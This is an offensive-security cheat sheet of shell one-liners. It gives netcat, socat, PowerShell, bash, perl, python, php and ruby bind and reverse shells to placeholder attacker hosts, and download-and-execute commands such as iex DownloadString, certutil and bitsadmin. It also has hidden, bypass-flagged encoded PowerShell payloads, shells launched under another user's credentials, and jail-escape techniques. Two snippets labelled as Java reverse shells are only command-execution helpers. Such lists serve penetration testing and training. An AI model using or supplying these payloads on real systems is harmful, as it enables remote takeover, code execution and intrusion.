Shells

Bind and reverse shells

NetCat

Transfer file

nc -nv <dest ip> <port> < file               #send file
nc -nlvp <port> > file_local                 #receive file

Bind shell

Use rlwrap to enable history and command recall support on both cmd and bash shells

nc -nlvp <port> -e <cmd.exe or /bin/bash>    #remote
rlwrap nc -nlvp <port> -e <cmd.exe or /bin/bash>

Reverse shell

nc -nv <target ip> <port> -e <cmd.exe or /bin/bash>    #remote
rlwrap nc -nv <target ip> <port> -e <cmd.exe or /bin/bash>

Reverse shell BSD version

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> <port> >/tmp/f

Socat

Transfer file

socat TCP4-LISTEN:<port>,fork file:<filename>             #send file
socat TCP4:<ip>:<port> file:filename_local,create         #receive file

Bind shell

socat TCP4-LISTEN:<port>,fork EXEC:cmd.exe,pipes          #remote windows
socat TCP4-LISTEN:<port>,fork EXEC:/bin/bash              #remote linux
socat – TCP4:<ip>:<port>                                  #local

Reverse shell

socat TCP4:<ip>:<port>,fork EXEC:cmd.exe,pipes            #remote windows
socat TCP4:<ip>:<port>,fork EXEC:/bin/bash                #remote linux
socat -dd TCP4-LISTEN:<port> STDOUT                       #local

CMD

File transfer

Download

cmd.exe /c certutil.exe -urlcache -split -f http://<ip>/<file> <local path>
cmd.exe /c certutil.exe -verifyctl -f -split http://<ip>/<file> <local path>
cmd.exe /c CertReq -Post -config https://<ip> c:\windows\win.ini <local path>
cmd.exe /c bitsadmin /transfer downloadjob /download /priority high <url> <local path>

Upload

cmd.exe /c CertReq -Post -config https://<ip> <file> and show response in terminal

Powershell

Generate Base64 code

echo "<code>" | iconv -t utf-16le | base64 -w 0
powershell -encodedCommand <b64 code>

Download file

powershell -c "Invoke-WebRequest -URI '<ip>/<file>' -OutFile '<path>'"
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://<ip>/<file>','C:\<path>')"
iex (New-Object System.Net.Webclient).DownloadString('https://<path>.ps1')

Bind shell

powershell -c "$listener = New-Object System.Net.Sockets.TcpListener('<ip>',<port>);$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();$listener.Stop()"

Reverse shell

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("<IP>",<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
powershell.exe -nop -w hidden -e $client = New-Object System.Net.Sockets.TCPClient('"+LHOST+"',"+LPORT+");$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Base64 encoded payload in python

#/usr/bin/python3
import base64
lhost = '<LHOST>'
lport = '<LPORT>'
payload = '$client = New-Object System.Net.Sockets.TCPClient("'+lhost+'",'+lport+');$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
print("powershell -e " + base64.b64encode(payload.encode('utf16')[2:]).decode())

Run code as another user

powershell.exe -c "$user='<username>'; $pass='<password>'; try { Invoke-Command -ComputerName <hostname> -Credential (New-Object System.Management.Automation.PSCredential $user,(ConvertTo-SecureString $pass -AsPlainText -Force)) -ScriptBlock {<code>}} catch { echo $_.Exception.Message }" 2>&1
#In case of auth error use SSP
powershell.exe -c "$user='<username>'; $pass='<password>'; try { Invoke-Command -ComputerName <hostname> -Authentication CredSSP -Credential (New-Object System.Management.Automation.PSCredential $user,(ConvertTo-SecureString $pass -AsPlainText -Force)) -ScriptBlock {<code>}} catch { echo $_.Exception.Message }" 2>&1

Reverse shell as another user - netcat version

Download netcat executable for windows on target, then use it to open a reverse shell under the context of another user

powershell.exe -c "$user='<username>'; $pass='<password>'; try { Start-Process -FilePath 'C:\<path to nc>.exe' -ArgumentList '-nv','<LHOST>','<LPORT>','-e','cmd.exe' -Credential (New-Object System.Management.Automation.PSCredential $user,(ConvertTo-SecureString $pass -AsPlainText -Force)) } catch { echo $_.Exception.Message }" 2>&1

Reverse shell as another user - download and execute version

Generate a reverse shell payload to be executed by powershell as another user

powershell.exe -c "$user='<user>'; $pass='<pass>'; try { Invoke-Command -ScriptBlock { iex(New-Object Net.WebClient).DownloadString('http://<path to .ps1>') } -Credential (New-Object System.Management.Automation.PSCredential $user,(ConvertTo-SecureString $pass -AsPlainText -Force)) } catch { echo $_.Exception.Message }" 2>&1"

Powercat

Transfer file

powercat -c <ip> -p <port> -i <file>      #send file
powercat -lp <port> -of <file>            #receive file

Bind shell

powercat -lp <port> -e cmd.exe

Reverse shell

powercat -c <ip> -p <port> -e cmd.exe

Bash

Download file

Connection

Download file script (pure bash)

A script that downloads a file from a remote server without invoking any external script/program, not even linux standard ones.

Save it:

cat > /tmp/get
EOF
chmod +x /tmp/get
/tmp/get <url>

Source code:

  #!/bin/bash
  read proto server path <<< "${1//"/"/ }"
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80
  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  while IFS= read -r line ; do 
      [[ "$line" == $'\r' ]] && break
  done <&3
  nul='\0'
  while IFS= read -d '' -r x || { nul=""; [ -n "$x" ]; }; do 
      printf "%s$nul" "$x"
  done <&3
  exec 3>&-

Reverse shell

bash -i >& /dev/tcp/<ip>/<port> 0>&1
0<&196;exec 196<>/dev/tcp/<ip>/<port>; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/<ip>/<port>;cat <&5 | while read line; do $line 2>&5 >&5; done

Perl

Download file

perl -e 'use File::Fetch;my $url="<url>";my $ff=File::Fetch->new(uri => $url);my $file=$ff->fetch() or die $ff->error;'

Reverse shell

perl -e 'use Socket;$i="<ip>";$p=<port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python

Download file

python -c "import urllib;f=urllib.URLopener();f.retrieve('http://<url>','<dest>');"

Reverse shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

Download file

php -r 'file_put_contents("<dest>", fopen("http://<url>", 'r'));'

Reverse shell

php -r '$sock=fsockopen("<ip>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

Download file

ruby -e 'require "open-uri";download=open("http://<url>");IO.copy_stream(download,"<dest>")'

Reverse shell

ruby -rsocket -e'f=TCPSocket.open("<ip>",<port>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java

Reverse shell

public static String execCmd(String cmd) throws java.io.IOException {
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";
}

Reverse shell Java > 7

public static String execCmd(String cmd) {String result = null; try (InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); Scanner s = new Scanner(inputStream).useDelimiter("\\A")) {result = s.hasNext() ? s.next() : null;} catch (IOException e) {e.printStackTrace();}return result;}

Fix broken shell

Fix $PATH

export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&&export TERM=xterm&&export SHELL=bash

Make interactive/Jail escape

A shell is not interactive if sudo -l or ttyreturn nothing or errors. To upgrade a shell use one of the following commands. These commands can also be used to escape from limited shells.

Python

python -c 'import pty; pty.spawn("/bin/bash")'

Bash

echo os.system('/bin/bash')
/bin/sh -i

Script command

script /dev/null

Perl

perl -e 'exec "/bin/sh";'

Vi

vi
:!bash
:set shell=/bin/bash:shell

Ed

ed
!'/bin/bash'

Awk

awk 'BEGIN {system("/bin/bash")}'

Socat

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<host ip>:<port>
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<host ip>:<port>

Upgrade functionalities

  1. After spawning a new shell with one of the methods above, do CTRL+Z to background Netcat.

  2. stty raw -echo&&fg

  3. In new shell: reset

  4. set terminal type to xterm: export TERM=xterm

  5. in local shell: stty -a to get current terminal size (rows and cols)

  6. set correct terminal in remote terminal: stty rows <rows> cols <cols>

  7. export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

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